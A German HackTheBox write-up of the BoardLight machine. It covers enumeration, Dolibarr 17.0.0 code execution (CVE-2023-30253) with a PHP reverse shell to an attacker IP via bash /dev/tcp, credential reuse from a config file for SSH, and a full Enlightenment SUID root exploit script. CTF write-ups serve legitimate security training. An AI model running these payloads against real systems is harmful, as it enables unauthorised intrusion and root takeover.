> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md).

# BoardLight HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine BoardLight mit Abdeckung von Subdomain-Enumeration, Ausnutzung von Dolibarr 17.0.0 - CVE-2023-30253, Informationsleck (User Pivoting), Ausnutzung der Enlightenment-SUID-Binärdatei

{% embed url="<https://app.hackthebox.com/machines/BoardLight>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Subdomain-Enumeration
* Ausnutzung von Dolibarr 17.0.0 - CVE-2023-30253
* Informationsleck (User-Pivoting)
* Ausnutzung der Enlightenment-SUID-Binärdatei (Rechteausweitung)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ceff8c1031a89a3694b185347b6aee70e5eb1fc%2Fimage%20(775).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d7923b3bedf2de6f6e73bcd7af2c4a958d3635%2Fimage%20(776).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e9d9624d2101fc8b3d78a717aadbc3cb9360ad%2F%7BCA076EB7-6467-41EB-9F5E-A6BBD3415CC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (22.80)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2bde05626e973a39e9193e0d8bb9faea8b7267d%2Fimage%20(777).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.11 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-154cefcabc01e8b68ba351155bd012190509b9be%2Fimage%20(778).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

**Analyse mit WhatWeb:** Wir identifizieren eine E-Mail, die einen Domainnamen enthält: `board.htb`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b760a375b264760726d5d4e989af9846b317082%2Fimage%20(779).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df46ad44c06d2c224fa3f08da9653022da6a6ff1%2Fimage%20(780).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b0c17b0aeb6e6793f5207ed47c473b8110a5792%2Fimage%20(781).png?alt=media" alt=""><figcaption></figcaption></figure>

## Web-Enumeration

**Suche nach Verzeichnissen mit Feroxbuster:**

```bash
feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Keine relevanten Ergebnisse gefunden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf3dad731faf9e74ccc73b9c9fdc0e3a5b2fac8f%2Fimage%20(782).png?alt=media" alt=""><figcaption></figcaption></figure>

**Aufzählung von Subdomains mit Gobuster:**

```bash
gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
```

Wir entdecken eine Subdomain: `crm.board.htb`..

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96db5c9a6356aad9898dbe38eebcdb14c1e4673f%2F%7BD61F13B4-4E09-42B7-97FA-0D6C5D99248B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fügen es zu `/etc/hosts`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9808b4e22700977d6dee7e808ca977063a198c47%2Fimage%20(783).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Schwachstelle im CMS Dolibarr

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97a8c94bb97b85331e6b6374a610458c8c58f35%2F%7B82BF6075-0650-49E9-804E-8A4335B3352E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Verbindung ohne Authentifizierung:** Ein Verbindungsversuch mit zufälligen Zugangsdaten meldet sich als Administrator an, jedoch ohne Berechtigungen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a00f51f59b511ef777139bae30603990609b492%2F%7BBB128B85-5003-4442-8204-49C16AF1B2FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21e5eef3b2fded872cffd3d362705441dc9ed93f%2F%7BF8F7304E-7BAE-49E2-BEEB-D9DD176B70FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Manuelle Ausnutzung**

**Erstellung einer bösartigen Seite:**

Im Abschnitt zur Seitenerstellung fügen wir bösartigen PHP-Code ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-320f76bc5f5a1520cad1f21c9658cb1152a1cdba%2F%7B57D72273-2C7D-4109-8D87-B8FC96C2E949%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adfec8a64d614aea59a40df72e04cf1ef00eeeb1%2Fimage%20(789).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir bestätigen die Ausführung der Befehle.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea06673e13e6cc5d2978bb44532de150ee337f88%2Fimage%20(790).png?alt=media" alt=""><figcaption></figcaption></figure>

**Reverse Shell:**

Lauschen:

```bash
nc -nvlp 443
```

PHP-Code für eine Reverse Shell:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5724f0d9b87376187f0136697612ffa2ae8f47b6%2F%7B98AECE2A-9CC2-4EE0-891D-B7E8055E9580%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Automatisierte Ausnutzung**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**Installation der Abhängigkeiten:**

```bash
pip3 install -r requirements.txt 
```

**Ausführen des Skripts:**

Testbefehl (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c8443fb1d37bbeea65c6f1b92cde52baf2eaa61%2Fimage%20(785).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Reverse Shell

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-582d60982c09f92ab4ebea4cfb0349a4442456ab%2Fimage%20(786).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## User-Pivoting - Larissa

Das Ziel ist es, auf den Benutzer zu pivotieren **larissa**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d13b7cfadf7015cb54170d775628748389a252b%2F%7B733E7776-95B5-442F-9392-E741F2B86852%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Aufzählung von Informationen

In dem `web` Verzeichnis befindet sich in `htbdocs`, finden wir einen Ordner namens `conf` mit einem **conf.php** Datei. Diese Datei enthält die folgenden Informationen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50b2c381f7b5a395eca1522bc98da7f5b3f6e55d%2Fimage%20(791).png?alt=media" alt=""><figcaption></figcaption></figure>

* Passwort: `serverfun2$2023`!!

#### SSH-Verbindung

Mit den gewonnenen Informationen versuchen wir, uns per SSH mit der Maschine zu verbinden:

```bash
ssh larissa@10.10.11.11
```

**Ergebnis:** Die Verbindung funktioniert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37242d6e6fba996876be1c17a0764b3180711c59%2F%7B14CBF43C-5C33-4E8F-BF0D-3ED2C65DE848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22892303b1fe31c355f4f78e4e43567ed132433a%2Fimage%20(792).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### SUID - Enlightenment

Wir beginnen mit der Suche nach SUID-Dateien, die unserem Benutzer gehören. Führen Sie dazu den folgenden Befehl aus:

```bash
find / -perm -4000 2>/dev/null
```

Beim Analysieren der Ausgabe bemerken wir das Vorhandensein von **enlightenment** Binärdatei.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70a652245f70014cac4a9062bb8887ab3838d25d%2Fimage%20(769).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir untersuchen Schwachstellen, die mit dieser Binärdatei zusammenhängen. Nach etwas Recherche identifizieren wir einen Exploit, der für Version anwendbar ist **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a67c855a2046e8bd6aa53f64254b1118a1ba447c%2Fimage%20(770).png?alt=media" alt=""><figcaption></figcaption></figure>

Allerdings stellen wir bei der Überprüfung der aktuell auf dem System installierten Enlightenment-Version fest, dass sie Version ist **0.23.1**, eine ältere Version.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-006e8193583f1c13081e818f1279908d0def10aa%2Fimage%20(771).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir testen den folgenden Exploit, um die Schwachstelle auszunutzen:

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

Nach dem Ausführen des Exploits erhalten wir eine Shell mit Root-Rechten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef7dc22a89003ed59082e2b1d2a9bc629e5e9231%2Fimage%20(772).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b50a6e8c729600c74ba9ba37b774556ec5108950%2Fimage%20(774).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44225a94c7b240e65dfe2ce7d44610e1007e2c51%2Fimage%20(773).png?alt=media" alt="" width="425"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
